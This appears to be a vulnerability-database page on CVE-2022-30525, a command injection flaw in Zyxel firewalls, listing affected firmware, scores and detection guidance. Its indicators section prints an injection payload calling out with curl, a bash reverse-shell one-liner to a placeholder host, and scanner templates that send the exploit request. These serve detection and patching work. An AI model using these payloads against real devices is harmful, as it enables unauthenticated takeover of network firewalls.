cbcvebase.
CVE-2022-30525
published 2022-05-12

CVE-2022-30525: A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions…

PriorityP1100critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITRansomwareInitial access
CISA Known Exploited Vulnerabilitydue 2022-06-06
Exploited in the wild
EPSS
99.94%
100.0th percentile
A OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.

Affected

24 ranges
VendorProductVersion rangeFixed in
zyxelatp100_firmware>= 5.10 < 5.305.30
zyxelatp100w_firmware>= 5.10 < 5.305.30
zyxelatp200_firmware>= 5.10 < 5.305.30
zyxelatp500_firmware>= 5.10 < 5.305.30
zyxelatp700_firmware>= 5.10 < 5.305.30
zyxelatp800_firmware>= 5.10 < 5.305.30
zyxelatp_series_firmware
zyxelusg20w-vpn_firmware>= 5.10 < 5.305.30
zyxelusg_20_vpn_firmware
zyxelusg_flex_100_firmware
zyxelusg_flex_100w_firmware>= 5.00 < 5.305.30
zyxelusg_flex_200_firmware
zyxelusg_flex_200_firmware>= 5.00 < 5.305.30
zyxelusg_flex_500_firmware
zyxelusg_flex_500_firmware5.00 – 5.30
zyxelusg_flex_50_firmware
zyxelusg_flex_50w_firmware>= 5.10 < 5.305.30
zyxelusg_flex_700_firmware
zyxelusg_flex_700_firmware>= 5.00 < 5.305.30
zyxelvpn1000_firmware>= 4.60 < 5.305.30
zyxelvpn100_firmware>= 4.60 < 5.305.30
zyxelvpn300_firmware>= 4.60 < 5.305.30
zyxelvpn50_firmware>= 4.60 < 5.305.30
zyxelvpn_series_firmware

Detection & IOCsextracted from sources · hover to see the quote

url/ztp/cgi-bin/handler
command{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
command; bash -c "exec bash -i &>/dev/tcp/{host}/{port}<&1;"
command{"command":"ping","dest":"{{interactsh-url}}"}
sigma
id: CVE-2022-30525
info:
  name: Zyxel Firewall - OS Command Injection
  severity: critical
http:
- raw:
  - |
    POST /ztp/cgi-bin/handler HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/json
    {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
matchers-condition: and
matchers:
- type: word
  part: interactsh_protocol
  words:
  - "http"
- type: status
  status:
  - 500
sigma
id: unauth-ztp-ping
info:
  name: Unauthenticated ZyXEL USG ZTP - Detect
  severity: high
http:
- raw:
  - |
    POST /ztp/cgi-bin/handler HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/json
    {"command":"ping","dest":"{{interactsh-url}}"}
matchers-condition: and
matchers:
- type: word
  part: interactsh_protocol
  words:
  - "dns"
- type: word
  part: body
  words:
  - "message"
  - "result"
  condition: and
- type: status
  status:
  - 200
  • Detect exploit attempts by monitoring for HTTP POST requests to /ztp/cgi-bin/handler with a JSON body containing the 'setWanPortSt' command and shell metacharacters (e.g., semicolons) in the 'mtu' field.
  • Successful exploitation results in an HTTP 500 response from /ztp/cgi-bin/handler; correlate 500 responses to POST requests with injection payloads in the mtu field.
  • Detection without exploitation: send a ping command to /ztp/cgi-bin/handler and monitor for an out-of-band DNS callback, indicating the device is vulnerable and ZTP is exposed.
  • Use Shodan queries to identify internet-exposed vulnerable devices by their web UI titles.
  • The exploit runs commands as the 'nobody' user; monitor for unexpected process spawning (e.g., bash, curl) under the nobody user on Zyxel firewall devices.
  • Post-exploitation privilege escalation (CVE-2022-30526) involves overwriting the firewall's crontab via a SUID binary; monitor for unexpected crontab modifications on affected devices.
  • ·The vulnerable endpoint /ztp/cgi-bin/handler is only present on devices with Zero Touch Provisioning (ZTP) support enabled; not all Zyxel firewall models expose this endpoint.
  • ·VPN series has a wider affected firmware range (4.60 through 5.21 Patch 1) compared to other models (5.00/5.10 through 5.21 Patch 1); ensure detection/patching scope covers all affected firmware versions per model.
  • ·The exploit is unauthenticated; no credentials or prior access are required, making internet-facing devices immediately at risk without additional authentication controls.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
cisa9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.